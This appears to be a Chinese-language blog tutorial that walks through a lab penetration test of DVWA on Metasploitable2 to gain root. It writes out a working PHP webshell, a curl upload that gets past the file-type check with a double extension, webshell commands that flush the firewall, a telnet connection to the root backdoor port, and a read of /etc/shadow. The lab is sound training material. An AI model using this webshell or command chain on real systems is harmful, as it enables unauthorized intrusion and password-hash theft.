80 端口(Web 服务)渗透测试完整总结(含踩坑 + 绕过 + 实战流程)

一、核心目标

通过 80 端口的 Web 应用(本次为 DVWA)漏洞,获取靶机的 Web 服务权限(www-data),最终通过信息收集利用系统后门拿到root权限,核心链路:Web登录→漏洞利用→留后门(WebShell)→信息收集→提权/后门利用

二、完整实战流程(含每步细节 + 命令)

阶段 1:前期准备(靶机 + 工具)

准备项具体内容注意事项
靶机环境Metasploitable2(IP:192.168.1.3),预装 DVWA(Web 应用)严禁接入公网,仅本地测试;默认账户:msfadmin/msfadminadmin/password(DVWA)
攻击机Kali Linux(IP:192.168.1.4)确保与靶机同网段,开启curlnctelnetssh工具(默认已预装)
核心工具命令行工具(curl、nc、telnet)+ SSH(系统层面操作)新手优先用命令行,避免图形化工具(如蚁剑)的配置坑

阶段 2:Web 应用登录(DVWA)

步骤 1:访问 DVWA
  • 浏览器访问:http://192.168.1.3/dvwa
  • 直接登录:账号admin、密码password(跳过 Hydra 爆破,新手无需纠结爆破,聚焦漏洞利用)
  • 关键操作:登录后切换安全级别为Low(右上角DVWA Security),点击Submit(Low 级别无任何防御,漏洞裸奔)
踩坑 1:忘记切换安全级别,导致文件上传失败
  • 报错表现:上传 PHP 文件提示 “不允许的文件类型”
  • 原因:Medium/High 级别会过滤 PHP 后缀,Low 级别无过滤
  • 绕过:必须切换到 Low 级别,所有 Web 漏洞直接可用

阶段 3:漏洞利用(核心:文件上传漏洞,比 SQL 注入更简单)

步骤 2:创建 WebShell(后门文件)

WebShell 作用:上传到靶机后,通过 HTTP 请求执行系统命令,是长期控制 Web 服务的核心后门。

  • 木马核心逻辑:接收 POST 参数cmd,执行系统命令并返回结果,避免 “空白命令” 警告。

命令(Kali 终端执行):bash运行

# 创建基础一句话木马(兼容PHP环境) echo '<?php if(isset($_POST["cmd"])){ $output = shell_exec($_POST["cmd"]); echo "<pre>$output</pre>"; } ?>' > /root/shell.php # 赋予读写权限(避免本地文件权限问题) chmod 777 /root/shell.php 
步骤 3:上传 WebShell(绕前端验证)
方案 A:Web 页面直接上传(推荐新手)
  1. 登录 DVWA 后,左侧菜单点击File Upload(文件上传模块);
  2. 本地将shell.php重命名为shell.php.jpg(绕前端 JS 验证,前端仅校验后缀为图片格式);
  3. 点击Choose File,选择shell.php.jpg,点击Upload
  4. 上传成功后,页面会显示文件路径:/dvwa/hackable/uploads/shell.php.jpg(关键!记住此路径);
  5. 核心原理:Low 级别后端不校验文件后缀,shell.php.jpg会被当作 PHP 文件执行(Apache 解析规则)。
方案 B:curl 命令行上传(绕前端验证,适合无浏览器场景)
  • 前提:获取 DVWA 会话 ID(PHPSESSID)
    1. 浏览器登录 DVWA 后,按 F12→Application→Cookies→复制PHPSESSID的值(如abc123xyz);

上传命令(替换PHPSESSID和文件路径):bash运行

curl -F "uploaded=@/root/shell.php;filename=shell.php.jpg" -F "Upload=Upload" -b "PHPSESSID=abc123xyz; security=low" http://192.168.1.3/dvwa/vulnerabilities/upload/ 
踩坑 2:直接上传shell.php被前端拦截
  • 报错表现:“Invalid file type”(无效文件类型)
  • 原因:前端 JS 验证仅允许图片格式(.jpg/.png 等)
  • 绕过:重命名为shell.php.jpg,后端不校验,仍按 PHP 执行
踩坑 3:curl 上传提示 “Failed to open/read local data”
  • 报错表现:curl: (26) Failed to open/read local data from file/application
  • 原因:本地shell.php文件不存在或权限不足
  • 绕过:重新创建文件并赋权(执行阶段 2 的echochmod命令)
踩坑 4:上传路径错误,导致 404
  • 报错表现:访问http://192.168.1.3/shell.php提示 404
  • 原因:DVWA 的上传目录固定为/dvwa/hackable/uploads/,而非根目录
  • 绕过:必须用完整路径访问,如http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg

阶段 4:验证 WebShell 可用性(执行系统命令)

步骤 4:测试命令执行(Kali 终端)

进阶测试(查看靶机信息):bash运行

# 查看靶机IP(需用完整路径,老旧系统环境变量问题) curl -X POST -d "cmd=/sbin/ifconfig" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg # 查看靶机开放端口(完整路径) curl -X POST -d "cmd=/bin/netstat -tulpn" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg 

基础测试(验证权限):bash运行

# 执行whoami,返回www-data即成功(Web服务默认用户) curl -X POST -d "cmd=whoami" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg 
踩坑 5:执行ifconfig返回空
  • 报错表现:curl请求后仅返回<pre></pre>,无内容
  • 原因:Metasploitable2 是老旧系统(Ubuntu 8.04),ifconfig/sbin/目录下,www-data用户的环境变量不含/sbin,直接输ifconfig找不到命令
  • 绕过:所有系统命令用完整路径,如/sbin/ifconfig/bin/netstat/bin/ls
踩坑 6:WebShell 提示 “Cannot execute a blank command”
  • 报错表现:PHP 警告 “无法执行空白命令”
  • 原因:WebShell 代码未判断cmd参数是否存在,空请求触发警告
  • 绕过:使用带判断的代码(阶段 2 的if(isset($_POST["cmd"]))逻辑),避免裸奔的eval($_POST["cmd"])

阶段 5:信息收集(关键!找提权捷径)

通过 WebShell 执行netstat命令,收集靶机端口信息,发现高危漏洞:

bash

运行

curl -X POST -d "cmd=/bin/netstat -tulpn" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg 
  • 核心发现:靶机开放1524端口(Metasploitable2 默认后门端口,直接连接获root权限)
踩坑 7:cat /etc/shadow返回空
  • 报错表现:无任何输出
  • 原因:/etc/shadow是敏感文件(存储密码哈希),仅root用户可读取,www-data权限不足
  • 绕过:需提权或利用系统后门(如 1524 端口)

阶段 6:提权(利用系统后门,快速拿 root)

步骤 5:连接 1524 后门端口(Kali 终端)

bash

运行

# 用telnet直接连接后门端口,无需密码 telnet 192.168.1.3 1524 
  • 成功标志:连接后显示root@metasploitable:/#(直接获得 root 权限)
步骤 6:验证 root 权限

执行高权限操作:bash运行

passwd www-data # 修改Web用户密码(root专属权限) /sbin/shutdown -h now # 关闭靶机(测试用,谨慎执行) 

读取敏感文件:bash运行

cat /etc/shadow # 成功返回所有用户密码哈希 ls /root # 查看root目录下的flag文件(渗透测试目标) 
踩坑 8:telnet 连接 1524 端口失败
  • 报错表现:Trying 192.168.1.3... Connection refused
  • 原因:靶机防火墙拦截,或后门端口未启动(Metasploitable2 默认开启)
  • 绕过:执行curl -X POST -d "cmd=/sbin/iptables -F" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg(关闭防火墙),再重新连接
踩坑 9:root 用户执行/etc/shadow提示权限拒绝
  • 报错表现:bash: /etc/shadow: Permission denied
  • 原因:输入命令时少了cat,直接执行文件(/etc/shadow是文本文件,不可执行)
  • 绕过:正确命令是cat /etc/shadow(读取文件内容)

三、所有踩坑汇总(按出现顺序)

序号报错信息核心原因解决方案
1文件上传提示 “不允许的文件类型”未切换 DVWA 安全级别为 Low登录 DVWA→DVWA Security→选择 Low→Submit
2curl: (26) Failed to open/read local data本地 shell.php 不存在或权限不足重新创建:echo '代码' > /root/shell.php + chmod 777 /root/shell.php
3访问 WebShell 提示 404路径错误,未包含 /dvwa/hackable/uploads/用完整路径:http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
4执行 ifconfig 返回空老旧系统命令需完整路径,环境变量不含 /sbin/sbin/ifconfig替代ifconfig,所有系统命令补全路径
5PHP 警告 “Cannot execute a blank command”WebShell 代码未判断 cmd 参数用带if(isset($_POST["cmd"]))的代码,避免裸奔 eval
6cat /etc/shadow 返回空www-data 权限不足,无法读取敏感文件利用 1524 后门端口获取 root 权限后再读取
7telnet 连接 1524 提示 Connection refused靶机防火墙拦截用 WebShell 执行/sbin/iptables -F关闭防火墙
8root 用户执行 /etc/shadow 提示权限拒绝少输 cat 命令,直接执行文件正确命令:cat /etc/shadow(读取文件而非执行)

四、关键知识点(新手必记)

1. WebShell 相关

  • 核心作用:作为 Web 服务的后门,通过 HTTP 请求执行系统命令,无需 SSH 连接;
  • 常用代码:<?php if(isset($_POST["cmd"])){ shell_exec($_POST["cmd"]); } ?>(稳定无警告);
  • 后缀绕过:前端拦截时,重命名为xxx.php.jpg(后端不校验,Apache 按 PHP 解析)。

2. Linux 权限相关

  • www-data:Web 服务默认低权限用户,仅能操作 Web 目录,无法读取/etc/shadow等敏感文件;
  • root:系统最高权限用户,可执行任何操作(读敏感文件、改密码、关服务);
  • sudo 重定向坑:sudo echo 代码 > 文件会报错(重定向不受 sudo 保护),需用sudo cat > 文件 << EOFsudo nano 文件

3. 老旧系统(Metasploitable2)特性

  • 命令需完整路径:/sbin/ifconfig/bin/netstat/bin/sh(新系统可省略路径);
  • SSH 兼容问题:Kali 新版禁用ssh-rsa算法,连接需加参数:ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa [email protected]
  • 终端兼容问题:SSH 连接后执行sudo nano提示 “Error opening terminal: xterm-256color”,需先执行export TERM=xterm临时修复。

4. 端口与后门

  • 80 端口:Web 服务默认端口,漏洞集中(文件上传、SQL 注入、XSS 等);
  • 1524 端口:Metasploitable2 默认后门端口,直接 telnet 连接获 root 权限,是渗透测试的 “捷径”;
  • 其他高危端口:21(FTP)、22(SSH)、3306(MySQL),可后续测试弱密码爆破。

五、简化流程(下次 10 分钟搞定)

  1. 登录 DVWA(admin/password)→ 切 Low 级别;
  2. 本地创建 shell.php→重命名为 shell.php.jpg;
  3. Web 页面上传→复制上传路径;
  4. curl 测试:curl -X POST -d "cmd=/sbin/ifconfig" 路径
  5. netstat 找 1524 端口→telnet 连接获 root;
  6. cat /etc/shadow 验证权限。

六、注意事项

  1. 靶机仅用于本地测试,严禁接入公网(存在大量高危漏洞,易被攻击);
  2. 所有命令需按靶机路径调整(如 DVWA 路径、命令完整路径);
  3. 保存好 WebShell 路径,后续可直接使用,无需重复上传;
  4. 渗透测试需获得授权,未经授权测试他人服务器属违法行为。

Read more

Claude Code Superpowers -“让 AI 像资深工程师一样工作,而不是像只会写代码的实习生。”‌

Claude Code Superpowers -“让 AI 像资深工程师一样工作,而不是像只会写代码的实习生。”‌

1、什么是Superpowers Superpowers不是独立工具,是Claude Code的插件系统。 装上之后,Claude Code会自动多出一套”技能树”: brainstorming:帮你理清需求再动手,不是瞎写 test-driven-development:强制TDD流程,先写测试 systematic-debugging:4步调试法,找根因 writing-plans:把需求拆成2-5分钟的小任务 subagent-driven-development:子代理流水线干活 核心就一句话:让AI不要瞎搞,按照专业开发流程来。 2、核心价值 “让 AI 像资深工程师一样工作,而不是像只会写代码的实习生。”‌ 它认为,AI 编程的主要问题不是“不会写”,而是“没有流程”。它通过一套可组合的“技能”(Skills),将传统开发中容易被跳过的关键环节变成不可绕过的自动化节点,从而解决 AI 编程中常见的“方向跑偏”、“忽略测试”、“代码质量不稳定”等问题。 其核心价值体现在: * ‌强制测试驱动开发

OpenClaw.ai:Agentic AI 时代的“SpringFramework”时刻

—— 关于下一代智能体基础设施架构、生态演进与企业级可行性的系统性研究报告 第一章 历史的镜像:从软件危机到 Agentic AI 的基础设施真空 1.1 J2EE 的黄昏与 Spring 的黎明:关于复杂性的辩证法 要理解“Spring Framework 时刻”的深刻含义,我们必须将目光投向 21 世纪初的 Java 企业级开发领域。彼时,J2EE(Java 2 Platform, Enterprise Edition)虽然承诺了分布式计算的宏大愿景,但其实现方式——特别是 EJB(Enterprise JavaBeans)——却陷入了过度设计的泥潭。开发者被迫编写大量的 XML 配置文件,继承复杂的接口,不仅难以进行单元测试,且组件之间的耦合度极高。这种“重量级”框架导致的开发效率低下,被称为“J2EE

2026最新 OpenClaw 手机端部署与实战:旧手机秒变 AI 智能终端(Android/iOS 双平台全覆盖)

作为喜欢新鲜技术、热爱 AI 开发的 ZEEKLOG 博主,我必须说:OpenClaw 是2026年最值得在手机上跑一遍的开源 AI Agent。它不只是聊天,而是能真·执行任务的本地 AI 助手,手机端更是把“随时随地自动化”拉满。本文将详细拆解 OpenClaw 手机端的应用场景、部署步骤、实战玩法及避坑技巧,全程干货,读者一看就会、一跑就成。 一、OpenClaw 是什么?为什么要在手机上跑? OpenClaw 是2026年 GitHub 爆火的开源自托管 AI 执行网关,前身是 Clawdbot / Moltbot,主打“一句话让 AI 帮你完成真实操作”,核心能力包括发消息、整理文件、控制设备、自动化任务等,区别于普通对话式 AI,

【AI应用开发工程师】-分享Java 转 AI成功经验

【AI应用开发工程师】-分享Java 转 AI成功经验

Java 转 AI:别再死磕书本了,老司机带你飞! 文章目录 * Java 转 AI:别再死磕书本了,老司机带你飞! * ⭐AI 大模型应用开发全方位成长路线⭐ * 一、Java 老兵的 AI 转型焦虑:书本,你真的跟不上时代了! * 二、AI 导师,你的专属学习外挂! * 三、抱紧大腿,和 AI 大佬一起成长! * 四、拓展方案一:开源社区,你的 AI 练兵场! * 五、拓展方案二:小步快跑,项目实战是王道! * 六、拓展方案三:知识管理,告别“学了就忘”的魔咒! * 七、总结:转型 AI,一场充满乐趣的冒险!